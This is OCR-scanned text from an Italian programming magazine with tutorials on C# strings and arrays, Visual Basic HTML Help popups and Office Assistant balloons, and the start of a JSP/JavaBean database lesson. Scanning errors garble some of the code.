Restituisce una sottostringa dell'oggetto di invoca- 
zione, ottenuta considerando length caratteri com- 
presi dalla posizione start (inclusa) in poi. 

public string ToLower() 

Restituisce una nuova stringa, ottenuta converten- 
do in minuscolo tutti i caratteri di quella di invo- 
cazione. 



public int IndexOf(char e) 

public int IndexOf(char e, int start) 

public int IndexOf(char e, int start, int count) 

Come i precedenti tre, solo che ricercano un sin- 
golo carattere (un char), anziché una sottostringa. 

public string Insert(int start, string s) 

Costruisce e restituisce una nuova stringa, ottenu- 
ta aggiungendo s alla posizione start all'oggetto 
di invocazione. 

public int LastIndexOf( string s) 

public int LastIndexOf( string s, int start) 

public int LastIndexOf( string s, int start. 



• public string ToUpper() 

Restituisce una nuova stringa, ottenuta converten- 
do in maiuscolo tutti i caratteri di quella di invo- 
cazione. 

• public string Trim() 

Restituisce una nuova stringa, ottenuta dall'ogget- 
to di invocazione eliminando tutti gli spazi all'ini- 
zio e alla fine. 

• public string TrimEnd() 

Restituisce una nuova stringa, ottenuta dall'ogget- 
to di invocazione eliminando tutti gli spazi alla fi- 
ne. 



88**> M a 



9 9 



3 



http: //www. itportal.it 



• public string TrimStart() 

Restituisce una nuova stringa, ottenuta dall'og- 
getto di invocazione eliminando tutti gli spazi al- 
l'inizio. 

Consideriamo un unico esempio riassuntivo: 



System. Console. WriteLine("s2.TrimStart(): ( 
" + s2.TrimStart() + ")"); 




} 



L'output prodotto sarà: 

s: Buongiorno 
s.StartsWith("Buon "): 
True 

s.EndsWith(" giorno "): 
True 

s.EndsWith("notte"): 
False 

s.IndexOf( "giorno "): 
4 

s.IndexOfC'sera"): 
-1 

s.IndexOf('o'): 
2 

s.IndexOf('o',3): 
6 

s.LastIndexOf('o'): 
9 

s.Replace( "giorno ", "mattino "): 
Buonmattino 
s.Remove(4, 5): 
Buono 

s.Insert(4, "issimo"): 
Buonissimogiorno 
s.Snbstring(2, 4): 
ongi 

s.ToLowerQ: 
buongiorno 
s.TolIpper(): 
BUONGIORNO 
s2; (Buongiorno) 
s2.Trim(): (Buongiorno) 
s2. TrimEndO: (Buongiorno) 
s2.TrimStart(): (Buongiorno) 

STRING SOVRACCARICA 
GLI OPERATORI 

La classe al di dietro di string esegue il sovraccarico di 
alcuni operatori. In particolare, possiamo concatenare 
due stringhe servendoci degli operatori + e +=, come 
già sappiamo fare, e possiamo eseguire confronti con 



class Esempio04 { 
public static voìd Main() 
{ string si = "casa"; 

System. Console. Write("Scrivi '" + si + '": "); 
string s2 = System. Console. ReadLineQ; 
if (si == s2) System. Console. Writel_ine("Bravo!"); 
else System. Console. WriteLine("Sbagl iato!"); 

_J 

} 




Array 



Un array e un 
gruppo di varia- 
bili del medesimo tipo, 
cui ci si riferisce con un 
nome comune ed un 
indice numerico. 



http: //www. itport al.it 



g g 



3 ►►► 89 






ARRAY 

Un array è un gruppo di variabili del medesimo tipo, 
cui ci si riferisce con un nome comune ed un indice nu- 
merico. A differenza di C e C++, in cui gli array sono 
spazi di memoria allocati in aree adiacenti, gli array di 
C# sono in tutto e per tutto degli oggetti. Un array mo- 
nodimensionale può essere creato osservando il se- 
guente modello: 



Questa forma è spesso usata quando si è alle prese con 
un array di ridotte dimensioni. Gli array, inoltre, di- 
spongono di una particolare proprietà, ossia l'intero 
Length, che riporta la loro dimensione: 

string[] giorniDellaSettimana = new string[7]; 
System. Console. WriteLine(giorni Del laSettimana. Length); 

// Stampa "7" 



Dimensione 
Array 



ai: 



La dimensione di 
un array può es- 
sere determinata sta- 
ticamente, mediante 
una costante di qual- 
siasi tipo, oppure dina- 
micamente, servendo- 
si di un valore intero 
noto solo al momento 
dell'esecuzione 



NomeTipo[] nomeArray = new NomeTipo[dimensione]; 

Ad esempio: 

string[] giorniDellaSettimana = new string[7]; 

Questo codice genera un array monodimensionale, co- 
stituito da sette elementi di tipo string. La dimensione 
di un array può essere determinata staticamente, me- 
diante una costante di qualsiasi tipo, oppure dinami- 
camente, servendosi di un valore intero noto solo al 
momento dell'esecuzione: 

// Dimensionamento statico 

int[] arri = new int[2]; 

// Dimensionamento dinamico 

// Supponiamo che n sia una variabile di tipo numerico intero 

int[] arr2 = new int[n]; 

Una volta dichiarato ed inizializzato un array, è possi- 
bile accedere ai diversi elementi che ne fanno parte 
servendosi di un indice e di una coppia di parentesi 
quadre, proprio come per i caratteri delle stringhe. Il 
primo elemento di un array di dimensione n ha indice 
0, mentre l'ultimo ha indice n - 1. 
Consideriamo il seguente esempio: 



class Esempio05 { 


public static void Main() { 


string[] giorniDellaSettimana = new string[7]; 


giorniDellaSettimana[0] = 


"Lunedì"; 


giorniDellaSettimana[l] = 


"Martedì"; 


giorniDellaSettimana[2] = 


"Mercoledì"; 


giorniDellaSettimana[3] = 


"Giovedì"; 


giorniDellaSettimana[4] = 


"Venerdì"; 


giorniDellaSettimana[5] = 


"Sabato"; 


giorniDellaSettimana[6] = 


"Domenica"; 


for (int i = 0; i < 7; i++) 


System. Console. WriteLine(giorniDel laSettimana [i]); 


} 


} 



Questo codice imposta e recupera gli elementi di un 
array di dimensione 7. Gli array possono avvantag- 
giarsi di una forma breve, per l'inizializzazione in li- 
nea degli elementi che lo costituiscono: 

string[] giorniDellaSettimana = { 
"Lunedì", "Martedì", "Mercoledì", "Giovedì", 
"Venerdì", "Sabato", "Domenica"}; 



Un ciclo for ideato allo scopo di scorrere gli elementi di 
un array, pertanto, può essere facilmente scritto al se- 
guente modo: 

for (int i = 0; i < nomeArray.Length; i++) { 
// Operazioni su nomeArray[i] } 

In lingua italiana, gli array monodimensionali vengo- 
no chiamati vettori. C#, ad ogni modo, supporta anche 
il concetto di array multidimensionale o matrice: 



int[,] matrice = new int[2, 3]; 


matrice[0, 0] = 2 




matrice[0, 1] = 4 




matrice[0, 2] = 7 




matrice[l, 0] = 




matrice[l, 1] = 5 




matrice[l, 2] = 3 





Questo codice genera una matrice di dimensione 2x3, 
costituita pertanto da sei elementi. La Fig. I fornisce 
una rappresentazione grafica della struttura. In un ca- 
so come questo, Length conteggia il numero di tutti gli 
elementi che fanno parte dell'array, cioè 6. Il seguente 
codice riproduce sulla linea dei comandi l'ultima figu- 
ra mostrata: 





colonna 



colonna 

1 


colonna 
2 


riga 




2 


4 


7 


riga 
1 





5 


3 



int[,] matrice = new int [2, 3] 

matrice [0, 0] = 2; 

matrice [0, 1] =4 

matrice [0, 2] = 7 

matrice [1, 0] = 

matrice [1, 1] =5 

matrice [1, 2] = 3 



Fig. 1: Una matrice bidimensionale di sei elementi, 
con le istruzioni C# necessarie per la sua 
creazione. 

class Esempio06 { 
public static void Main() { 
int[,] matrice = new int[2, 3]; 

matrice[0, 0] = 2; 

matrice[0, 1] = 4; 

matrice[0, 2] = 7; 

matrice[l, 0] = 0; 

matrice[l, 1] = 5; 



90**> M a 



g g 



3 



http: //www. itportal.it 




Creare matrici a tre o più dimensioni è altrettanto sem- 
plice: 

char[,,] treDimensioni = new char[4, 2, 4]; 
string[,„] quattroDimensioni = new string[2, 3, 2, 4]; 

Ogni ragionamento svolto in merito alle matrici bidi- 
mensionali può essere facilmente esteso e adattato ai 
nuovi casi introdotti. Infine, è possibile creare array di 
array, come dimostra il seguente esempio: 

class Esempio07 { 
public static void Main() { 
int[][] matrice = new int[2][]; 
matrice[0] = new int[3]; 

matrice[0][0] = 2; 

matrice[0][l] = 4; 

matrice[0][2] = 7; 

matrice[l] = new int[3]; 

matrice[l][0] = 0; 

matrice[l][l] = 5; 

matrice[l][2] = 3; 

for (int i = 0; i < matrice. Length; i+ + ) { 
for (int j = 0; j < matrice[i]. Length; ]++) { 

System. Console. Write(matrice[i][j] + " "); } 
System. Console. WrìteLine(); } 

_J 

} 



IL CICLO FOREACH 

Il ciclo foreach permette di scorrere velocemente gli ele- 
menti facenti parte di un vettore o, in senso più lato, di 
una collezione. Esaminiamo il seguente esempio basa- 
to su un array di interi: 

class Esempio08 { 
public static void Main() { 

int[] arr = {1, 9, 3}; 

foreach (int n in arr) { 
System. Console. WriteLine("Valore corrente: " + n);} 

_J 

} 



In pratica, il ciclo 


foreach (int n in arr) { 


System. Console. Writel_ine("Valore corrente: 


' + n);} 


equivale a: 


for (int i = 0; i < arr.Length; i+ + ) { 




CONCLUSIONI 

La padronanza acquisita nel settore della programma- 
zione orientata agli oggetti ci permette, ora, di appren- 
dere in maniera completa e spedita tutte le caratteristi- 
che di C# che in un primo momento abbiamo trala- 
sciato. Le lezioni immediatamente successive, pertan- 
to, continueranno lungo questo tragitto, prima di pas- 
sare all'analisi di aspetti più avanzati. 

Carlo Pelliccia 



Dissecting a C# Application 
Inside SharpDevelop 

SharpDevelop è un progetto Open Source, rilascia- 
to con licenza GPL, per creare un ambiente di svi- 
luppo alternativo a Visual Studio.NET e completa- 
mente gratuito (Fig.l) 



l,,li.iJI.IJ.I]..U.U..imail.l.U'iJI.I.Hj]ll.l.lJII..U.IIllll!MIHB«JMHiaBa! ^]n|xj 




SharpDevelop è stato interamente scritto in lin- 
guaggio C# adottando tecniche di programmazione 
particolarissime. Grazie al testo Dissecting a C# Ap- 
plication - Inside SharpDevelop, il lettore avrà mo- 
do di avere a portata di mano un valido strumento 
di commento al codice sorgente di SharpDevelop. 
Gli autori del libro, i medesimi che hanno progetta- 
to e realizzato SharpDevelop, analizzano le tecniche 
impiegate nella progettazione, mostrando il codice 
che si nasconde dietro ad ogni singolo aspetto del- 
l'IDE, dal parser del codice, all'implementazione 
dell'ambiente RAD di sviluppo, alla compilazione fi- 
nale del progetto. 

Si tratta di un'ottima guida che oltre a mostrare 
passo passo come avviene la progettazione e lo svi- 
luppo di un ambiente integrato, mostra tecniche 
utili per creare applicazioni modulari, manipolare e 
customizzare l'interfaccia utente, costruire control- 
li riutilizzabili. 



Dissecting A C# 
Application 



ln*k!# SharpCtovalop 



Difficoltà: Alta 

Autori: C.Holm, M.Kruger, 

B.Spuida 

Editore: Wrox 

http://www.gorilla.it 

ISBN: 1-861008-17-1 

Anno di pubblicazione: 2003 

Lingua: Inglese 

Pagine: 500 

Prezzo: $ 59.99 




Bibliografia 



• GUIDA A C# 
Herbert Schildt 
(McGraw-Hill) 
ISBN 88-386-4264-8 
2002 

• INTRODUZIONE A C# 
Eric Gunnerson 
(Mondadori 
Informatica) 

ISBN 88-8331-185-X 
2001 

• C# GUIDA PER LO 
SVILUPPATORE 
Simon Robinson e altri 
(Hoepli) 

ISBN 88-203-2962-X 
2001 



http: //www. itport al.it 



3 ►►► 91 




Corsi Avanzati ► ► ► ► ► ► ► ► ► ► 

Caratteristiche 

Visual AVANZATE DI UNA GUIDA IN LINEA 

Basic 

In questo appuntamento descriveremo le caratteristiche 
che rendono una guida in linea accattivante e funzionale. 






File Sul CD 

\soft\codice\ 
vbavanzato.zip 



File sul Webl&H 

www.itportal.it/iop69 
/vbavanzato.zip 



ShowWhatsThis 



Per visualizzare 
la guida in linea 
sensibile al contesto di 
un oggetto, da un me- 
nu a tendina o Popup 
si può usare il metodo 
ShowWhatsThis. Que- 
sto metodo attiva l'e- 
lemento della guida 
che in precedenza è 
stato associato all'og- 
getto attraverso What- 
sThisHelpID. 



Nel precedente appuntamento abbiamo de- 
scritto come implementare una guida in linea 
e come agganciarla ad un progetto Visual Ba- 
sic. Inoltre, abbiamo introdotto alcune funzioni per ge- 
stire questi elementi. Funzioni che non ripetiamo, ma 
che potete trovare nel CD allegato alla rivista. Questi 
concetti li abbiamo esemplificati attraverso un'applica- 
zione che permette di gestire i dati anagrafici dei di- 
pendenti di un'azienda. L'applicazione è composta da 
una form, con una SStab, e da un modulo BAS di sup- 
porto. Abbiamo concluso il precedente articolo con 
l'introduzioni al successivo appuntamento. Quindi in 
questo numero amplieremo le nostre conoscenze sulle 
guide in linea, illustrando i seguenti argomenti: 

1. i Popup, cioè i messaggi corti agganciati ai singoli 
oggetti dell'interfaccia (per capirci elementi simili 
ai ToolTipText); 

2. come agganciare la guida ad un'applicazione Vi- 
sual Basic for Applications (VBA); 

3. come usare gli Office Assistant; 

4. alcuni elementi dell' API e di Visual Basic. 

E necessario disporre del progetto Visual Basic e del 
progetto HTMLHelp visti nel precedente articolo, per 
modificarli. 



IL FILE DEI POPUPS 

I Popups, in un progetto HTMLHelp, sono predisposti 
attraverso un file di testo (.txt). Questo file, definito at- 
traverso il Blocco note, deve contenere i Popups rispet- 
tando la seguente sintassi: 

.topic "numero" 
"testo del messaggio" 

Possono definire i seguenti Popups. 

• .topic 20000 - Specifica il nome del dipendente 

• .topic 20010 - Inserisci la foto del dipendente 

• .topic 20020 - Specifica il reparto del dipendente 

II testo va inserito in un file di nome Popups.txt e sal- 
vato nella stessa directory del progetto HTMLHelp. 



Dopo bisogna associare il file al progetto Esempio.hhp; 
questo si può fare attraverso la scheda Text Popups del- 
la finestra HtlmHelp API information dell'HTML Work- 
shop. La maschera viene utilizzata anche per definire 
le informazioni di contesto: Map e Alias (visti nell'arti- 
colo precedente). Dopo queste operazioni, naturalmen- 
te, bisogna compilare il progetto. Ancora, però, il ruolo 
del file Popups.txt non è finito. Infatti, il suo nome ver- 
rà utilizzato quando si aggancia il file ehm (cioè il file 
dell'Help compilato) al progetto Visual Basic. La sin- 
tassi da rispettare in questo caso è la seguente: 

nomefile.chm: :/popups.txt 

Quindi alla VarHelp (variabile che contiene il path del 
file ehm) dovrà essere assegnato il seguente valore: 

VarHelp = App. Patti & "\htmlhelp\esempio.chm:: 

/popups.txt" 

Questa assegnazione, però, non deve trarre in inganno 
infatti, il file popups.txt non deve essere distribuito in- 
sieme all'Help dato che è incluso nel file compilato. 

LE MODIFICHE AL 
PROGETTO VISUAL BASIC 

Ora descriviamo cosa bisogna predisporre, nel proget- 
to Visual Basic, per gestire i messaggi Popups. Faccia- 
mo notare che i messaggi Popups sono stati previsti so- 
lo per alcuni elementi dell'interfaccia: nome dipenden- 
te, foto, reparto (come s'intuisce dal file Popups.txt). Do- 



















9 i *l ; "';j 






' 












Piiraa T Seconda T Teriià 






fumetto 




':£■*"" ~-r ■■■:■■= :■* ::~ ,- :="!5 || 






Ai^Lr'L' 




Cognome | 






_! 























Fig. 1: La form del progetto VB e la UserForm del 
progetto VBA 



92*-*-* M 



g g 



http ://www.itport al.it 



pò aver impostato le proprietà della form in modo che 
sulla barra del titolo compaia il punto interrogativo 
(WhatsThisButton =True, BorderStyle =3 - Fixed Dialog, 
MaxBntton= False, MinButton= False) nella Form_Load 
bisogna predisporre le seguenti istruzioni. 

VarHelp = App.Path & "\htmlhelp\esempio.chm::/popups.txt" 

Me.Txtnome.WhatsThisHelpID = 20000 

Me.Picturel.WhatsThisHelpID = 20010 

Me.Txtreparto.WhatsThisHelpID = 20020 

A questo punto, i Popups sono utilizzabili; basta sele- 
zionare il punto interrogativo della barra del titolo e 
poi premere, per esempio, su Txtnome. Con queste im- 
postazioni, però, noterete che non possiamo più usare 
l'Help di contesto dell'SStab definito nel precedente ar- 
ticolo. 

Come possiamo risolvere questo problema? 
Con il supporto delle funzioni deìl'HtlmHelp API! 

HTLMHELP API 

Gli elementi dell' API da utilizzare per tale scopo sono: 
mHtmlHelpBijRefArg, il tipo HHJDPAIR, e la costante 
HH_TP_HELP_WM_HELP. Il tipo HHJDPAIR rac- 
chiude due long che possono contenere gli ID dei con- 
trolli (dwControlId) sensibili al contesto e dei Popups 
(divTopield). 

Type HH_IDPAIR 

dwControlId As Long 

dwTopidd As Long 
End Type 

HHJDPAIR lo utilizziamo per definire un array di 4 
elementi: i 3 Popups più un elemento nullo che indica 
la fine dell'array. Allora nel modulo Bas dobbiamo in- 
serire anche la seguente istruzione: 

Public Ident(4) As HHJDPAIR 

Quando valorizziamo l'Array, dwTopicId lo possiamo 
ricavare per esempio con ActiveControl.HelpContextlD, 
mentre dwControlId si deve ricavare attraverso la fun- 
zione GetDlgCtrllD, cioè 

Declare Function GetDlgCtrllD Lib "user32" _ 
(ByVal hwnd As Long) As Long 

Questa riceve come parametro l'kwnd di un controllo 
(ActiveControl.Hwnd) e restituisce l'ID dello stesso. 
Ora introduciamo gli altri elementi dell' API e cioè 

Public Const HH_TP_HELP_WM_HELP = &H11 

Questa costante informa la funzione HtmlHelpByRe- 
fArg che deve caricare alcuni text pop-up help. La fun- 
zione che carica i messaggi Popup è: 



Declare Function HtmIHelpByRefArg Lib "hhctrl.ocx" 

Alias "HtmIHelpA" (ByVal hwndCaller As Long, 

ByVal pszFile As String, ByVal uCommand As Long, 

ByRef dwData As Any) As Long 

I parametri della funzione sono: 

• hwndCaller. serve a specificare l'hwnd della finestra 
che richiama l'Help; 

• pszFile, serve a specificare il path del file di help, 

• uCommand: specifica il comando da eseguire, nel 
nostro caso mostrare i Popup; 

• dwData: è un dato che dipende dal valore di uCom- 
mand nel nostro caso è di tipo HHJDPAIR. 

Nel modulo BAS definiamo la procedura hhhelpPO- 
PUP che utilizzeremo per richiamare HtmIHelpByRef- 
Arg: 




IL CODICE PER LA FORM 

Ora possiamo introdurre il codice d'aggiungere nella 
Formi, iniziamo dalla Form Load. 



Private Sub Form_Load() 


VarHelp = App.Path & 


"\htmlhelp\eserr 


pio. ehm' 
"::/popL 


+ 
ps.txt" 




Ident(O). dwControlId = 


= GetDlgCtrlID(Me 


.Txtnome 


.hwnd) 


Ident(0).dwTopicId = 


20000 






Ident(l). dwControlId = 


= GetDlgCtrlID(Me.Picturel 


hwnd) 


Ident(l).dwTopicId = 


20010 






Ident(2). dwControlId = 


GetDlgCtrlID(Me. 


rxtreparto.hwnd) 


Ident(2).dwTopicId = 


20020 






Ident(3). dwControlId 


= 






Ident(3).dwTopicId = 









End Sub 



Dopo aver visto la prima istruzione, analiziamo le suc- 
cessive, che servono ad impostare i valori nell'Array 
Ident. Notate che consideriamo solo tre elementi della 
form e che i dwTopidd sono impostati come definiti nel 
file Popups.txt, mentre Ident(3) viene impostato con ze- 
ro. Ora vediamo come attivare i Popups. A tal fine, nei 
metodi MouseUp degli oggetti dell'interfaccia, dobbia- 
mo inserire la seguente riga di codice: 

hhhelpPOPUP Object.hwnd, VarHelp , Ident(indice) 

Ad esempio: 

Private Sub Txtnome_MouseUp(Button As Integer, _ 
Shift As Integer, X As Single, Y As Single) 




Visual 

Basic 



WhatsThisMode 



Le Form hanno il 
metodo WhatsThi- 
sMode che serve per 
predisporre l'applicazio 
ne nel modo guida rapi- 
da, cioè sull'applicazio- 
ne ha lo stesso effetto 
di quando si clicca il 
punto interrogativo nel- 
la barra del titolo. 



http ://www.itport al.it 



g g 



003 ►►► 93 




Visuc 

Basi 



Popup Menu 



Ó 



In Windows, i 
Menu Popup sono 
creati con Edit Menu 
attivabili sulle Form e 
sulle MDIForm con il 
tasto destro del Mou- 
se. Se definite un me- 
nu (con la radice non 
visibile) di nome mnu- 
file, inserite il seguen- 
te codice nella Form_ 
MouseUp, il gioco è 
fatto. 

If Button = 2 Then 
PopupMenu mnuFile 
End If 



hhhelpPOPUP Picturel.hwnd, 


VarHelp , 


Ident(l) 


End Sub 


Private Sub Txtreparto_MouseUp(Button As Integer, _ 


Shift As Integer, X As Single, 


Y As Sing 


e) 


hhhelpPOPUP Txtnome.hwnd 


, VarHelp, 


ident(2) 


End Sub 



Questo codice attiva il Popup quando si clicca sul text- 
box, anche se non si clicca sul punto interrogativo (nel- 
la barra del titolo della form). Questa tecnica crea qual- 
che inconveniente! Per risolvere questo ulteriore pro- 
blema, dovremmo ricorrere alla tecnica del SubClas- 
sing, cosa che in questo appuntamento non possiamo 
fare. Allora ricorriamo ad un metodo alternativo più 
semplice: invece di attivare i Popup con il punto inter- 
rogativo, li attiviamo solo con il tasto FI. Quindi nei 
Keyilp degli oggetti prevediamo il codice seguente: 

Private Sub Txtnome_KeyUp(KeyCode As Integer, Shift 

As Integer) 

If KeyCode = vbKeyFl Then 

hhhelpPOPUP Txtnome.hwnd, VarHelp + 

": :/popups.txt", ident(O) 

End If 

End Sub 

Private Sub Txtreparto_KeyUp(KeyCode As Integer, 

Shift As Integer) 

If KeyCode = vbKeyFl Then 
hhhelpPOPUP Txtnome.hwnd, VarHelp + 

": :/popups.txt", ident(2) 

End If 

End Sub 

Dobbiamo modificare anche la VarHelp della Form_ 
Load. Dobbiamo eliminare ::(popups.txt, così anche la 
SSTab avrà il suo Help contestuale! In conclusione se 
premiamo fi e il Focus è sulla SStab, viene mostrato 
l'help con la pagina corrispondente alla scheda della 
SStab, mentre se il focus è su un textbox, verrà mostra- 
to il messaggio Popup ad esso associato. 

L'HELP PER 

LE APPLICAZIONI OFFICE 

I concetti descritti per la guida in linea delle applica- 
zioni Visual Basic, naturalmente, sono in buona parte 
validi anche per le applicazioni Visual Basic for Appli- 
cations, cioè per le applicazioni create con Office XP. 
Per esempio, se in un documento Word apriamo l'am- 
biente VBA, al progetto associato al documento, pos- 
siamo collegare il file HTMLHelp creato con l'HTML 
Workshop. Se poi nel progetto inseriamo una UserForm 
un modulo di supporto, possiamo fare degli esempi si- 
mili a quelli fatti con Visual Basic. Anche in questo ca- 
so, nel modulo di supporto, dobbiamo inserire la defi- 
nizione delle funzioni utilizzate in Visual Basic per ri- 
chiamare l'Help, cioè: HTMLHelp, hhhelp, e la costante 
HH_HELP_CONTEXT (definizioni che trovate nel pro- 
getto Visual Basic). Invece per avviare la UserForm, 



possiamo definiamo una procedura (che inserita nel 
modulo è visibile come Macro) come la seguente. 

Public Sub Avvio() 
UserForml.Show 
End Sub 

Per impostare la variabile con il path dell'Help possia- 
mo usare la seguente espressione: 

Private Sub UserForm_Activate() 

Varhelp = ActiveDocument.Path +"\htmlhelp\esempio.chm" 
End Sub 

Ora descriviamo come richiamare i topics delle guida: 
a tal fine inseriamo due pulsanti sulla UserForm che 
denominiamo: Assistente e Fumetto. Per associare un 
Topic al pulsante Assistente inseriamo il seguente codi- 
ce nella Assistante_ KeyUp: 

Private Sub Assistante_KeyUp(...) 
If KeyCode = vbKeyFl Then 
Dim hwnd As Long 
hhhelp hwnd, varhelp, 2 
N'argomento è quello della seconda pagina, 2 

End If 

End Sub 

Così, se si preme il pulsante FI quando il focus è sul 
pulsante Assistente, viene mostrato il Topic PaginaSe- 
conda dell' HtmlHelp Esempio.chm. 

L'ASSISTENTE DI OFFICE 

Come è noto, gli assistenti di Office sono dei personag- 
gi animati agganciati alla guida in linea, che si attivano 
in base alle richieste dell'utente. Le opzioni principali 
degli assistenti possono essere gestiti attraverso la ma- 
schera Assistenti di Office presente negli applicativi di 
Office Xp. Inoltre, possono essere creati e programma- 
ti attraverso i tools messi a disposizione dalla Micro- 
soft. In particolare, con il tool Microsoft Agent Character 
Editor è possibile creare ed animare gli assistenti (Cha- 
racters). Il tool permette di importare immagini, defini- 
re dei movimenti e dei suoni, ecc. Invece, per pro- 
grammare l'interazione degli assistenti con la guida in 
linea (prodotta da voi), è possibile utilizzare i tools di 
Office XP Developer o di Microsoft Office XP Resource 
Kit. Noi, con gli strumenti messi a disposizione da Of- 
fice Xp, descriveremo come, attraverso gli Assistenti di 
Office, sia possibile mostrare particolari messaggi. In- 
nanzitutto descriviamo sommariamente il modello ad 
oggetti degli assistenti. Gli oggetti fondamentali sono: 
Assistant (cioè gli oggetti animati) e Balloon (cioè i fu- 
metti). Il Balloon rappresenta il fumetto nel quale l'As- 
sistente di Office visualizza le informazioni. Un fumet- 
to può contenere controlli come caselle ed etichette. 
Un Assistente è caratterizzato da un nome (proprietà 
name), da un'animazione (Animation), da un file .acs (fi- 



94*^* m 



9 9 



http ://www.itport al.it 













f 
Io sono . 


.Briciola 






Ice rea! 
>> 


Chiudi 



Fig. 2: L'assistente di Office mostra il suo nome 

Iettarne); inoltre, ha una proprietà che ne permette l'atti- 
vazione (visible). Ora presentiamo due esempi: uno mo- 
stra l'assistente con un messaggio del tipo "io sono. . .", 
l'altro invece mostra l'assistente con un fumetto che il- 
lustra come specificare il file di Help in un progetto 
VBA. I due esempi sono avviati rispettivamente dai 
due pulsanti posti sulla Userform cioè: Assistente e Fu- 
metto. 

Private Sub Assistante_Click() 
inte = "Ciao" 
msg = "Io sono ..." 
Dim bln As Balloon 
With Assistant 

.FileName = "ROVER.ACS" 

"è l'assistente Briciola di Windows XP 
msg = msg + Assistant. Name 
.Visible = True 
Set bln = .NewBalloon 

With bln 

.Mode = msoModeModal 
If Not Sounds Then Sounds = True 
.Animation = msoAnimationGreeting 
.Button = msoButtonSetSearchClose 
.Heading = hdng 
.Text = msg 

.Animation = msoAnimationGetAttentionMinor 
ret = .Show 

End With 

End With 

If ret = msoBalloonButtonClose Then 
Assistant. Visible = False 

Else 

Assistant. GuessHelp = True 

End If 

End Sub 

Nella procedura precedente si carica l'assistente attra- 
verso la proprietà Filename (notate che non è necessario 
specificare il path del file), poi si rende visibile, si defi- 
nisce il fumetto (Balloon) associato all'assistente. In par- 
ticolare del fumetto si specificano il tipo di animazione 
(msoAnimationGreeting) ed i pulsanti mostrati (msoBut- 
tonSetSearchClose), nel caso specifico sono mostrati i 
pulsanti di ricerca e di chiusura. Il messaggio che viene 
mostrato nel fumetto e l'intestazione dello stesso, inve- 
ce, sono definiti attraverso le proprietà .Heading e .Text. 
L'assistente è mostrato con il metodo .show. Quest'ulti- 
mo restituisce un valore che serve a stabilire quale tasto 



del fumetto è stato premuto. Infatti le istruzioni succes- 
sive utilizzano questa informazione per stabilire se l'as- 
sistente deve essere chiuso (Assistent.visible=false) op- 
pure se deve mostrare il fumetto che permette di av- 
viare la ricerca sulla guida di Office (non su quella de- 
finita da noi). 

Private Sub fumetto_Click() 
Dim bln As Balloon 
Set bln = Assistant. NewBalloon 

With bln 

.Heading = "Come specificare il file di Help" 
.Text = "Per chiudere la finestra premi Ok " 
.Labels(l).Text = "Sull'albero di progetto seleziona il 

tuo progetto" 
"Clicca con il tasto destro del Mouse" 
"Sul menu che compare seleziona 

proprietà" 
"Sulla finestra delle proprietà 

specifica il path di un file .ehm" 
.BalloonType = msoBalloonTypeNumbers 
.Mode = msoModeModal 
.Button = msoButtonSetOK 
.Show 

End With 

End Sub 

Questa procedura mostra l'assistente di Office con un 
fumetto di 4 Labels. Notate che esse vengono specifica- 
te nell'Array Labels. In questo esempio il fumetto pre- 
senta solo il pulsante Ok. 



,Labels(2).Text ■ 
.Labels(3).Text 

.Labels(4).Text 



Come specificare il file di 
Help 

Per chiudere la finestra premi 
Ok 

1. Sull'albero di progetto 
seleziona il tuo progetto 

2. Clicca con il tasto destro 
del Mouse 

3. Sul menu che compare 
seleziona proprietà 

4. Sulla finestra delle 
proprietà specifica il path 
di un file .ehm 



V*. 



;0K| 



Fig. 3: L'assistente di Office che fornisce delle 
indicazioni attraverso delle labels 



CONCLUSIONE 

In questo articolo, abbiamo analizzato in maniera più 
approssimativa e fatto alcuni esempi sulle caratteristi- 
che delle guide in linea e su come agganciarle ai pro- 
getti. Naturalmente, l'argomento non è ultimato. Sono 
ancora diversi i concetti da capire, per esempio la ge- 
stione delle Macro, delle immagini, dei link, ecc. Inol- 
tre, abbiamo fatto una breve introduzione agli Assi- 
stenti di Office e di Windows XP. Nei prossimi numeri 
approfondiremo ulteriori concetti relativi all'imple- 
mentazione delle guide in linea. 

Massimo Autiero 




Visual 

Basic 









Windows xp 



I personaggi ani- 
mati di Windows 
XP e Office XP sono i 
seguenti: Lalla, Spido, 
Briciola, Merlino. Nel 
caso di Windows XP il 
personaggio permette 
di eseguire delle ricer- 
che nella documenta- 
zione e fornisce delle 
informazioni in dei fu- 
metti. I personaggi 
animati di Office e 
Windows XP sono dei 

Ìcon estensione 



http ://www.itport al.it 



g g 



003 ►►► 95 




JSP 



JavaBean 

UN ESEMPIO CONCRETO 



La tecnologia JavaBean consente la separazione tra 
logica business e interfaccia utente. In questa lezione 
esamineremo un'applicazione suddivisa in più strati: 
l'interfaccia Web, ottenuta mediante dei documenti 
HTML/JSP, il meccanismo di incapsulamento dei dati, in 
salsa JavaBean, un ponte per l'accesso alle informazioni, 
ottenuto con una classe Java che fa uso di JDBC, ed un 
database, per l'effettiva conservazione dei dati su disco. 



& 



File sul CD 

\soft\codice 

\codici_jspl5.zip 



File sul Web 



www.itportal.it/iop69 

/cod ici_jspl5.zip 




Dispense Web 
del corso 

Diversi approfondimen- 
ti legati alla lezio- 
ne odierna e alle 
precedenti sono 
reperibili in Internet, 
tra le dispense Web del 
corso. L'URL di riferi- 
mento è 

http://www,sauronsoftware,it 
/dispenseweb/isp/. 




Come promesso, in questa lezione prenderemo 
in esame un'applicazione concreta della tecno- 
logia JavaBean in ambito JavaServer Pages. 
Anche se l'esempio dimostrativo non brillerà per con- 
cretezza e completezza, avremo modo di riassumere 
quanto visto nel corso della lezione precedente, impie- 
gando inoltre le tecniche di accesso ai database che ci 
sono già note (cfr. lezioni 11, 12 e 13). 



IL PROGETTO 

Realizzeremo un'applicazione che consenta ad un 
utente di identificarsi mediante username e password, 
e quindi di poter editare un proprio profilo personale. 
I dati associati a ciascun utente andranno memorizza- 
ti all'interno di un database. Per la realizzazione dell'e- 
sempio, sarà scelto il DBMS MySQL, di cui già abbia- 
mo discusso in precedenza. Prima di procedere, stabi- 
liamo quali debbano essere le informazioni associate a 
ciascun utente: 

• Username, ovvero l'identificativo per il login. 

• Password. 

• Nome. 

• Cognome. 

• Indirizzo e-mail. 

• Numero di telefono. 

• Indirizzo di residenza. 



IL DATABASE 

Per prima cosa, allestiamo il database destinato alla 
conservazione dei dati. Avviamo MySQL e colleghia- 
moci al DBMS usando la linea di comando. Creiamo 
un nuovo database chiamato utenza, con il comando: 



creale database utenza;. Selezioniamo il database appena 
creato, per poter lavorare al suo interno: use utenza;. 
Passiamo ora alla creazione della tabella utenti, desti- 
nata ad accogliere i singoli record associati agli utenti. 
Il codice necessario è fornito di seguito: 

CREATE TABLE utenti ( 

id int unsigned autojncrement primary key, 
username varchar(20) not nuli default " unique, 
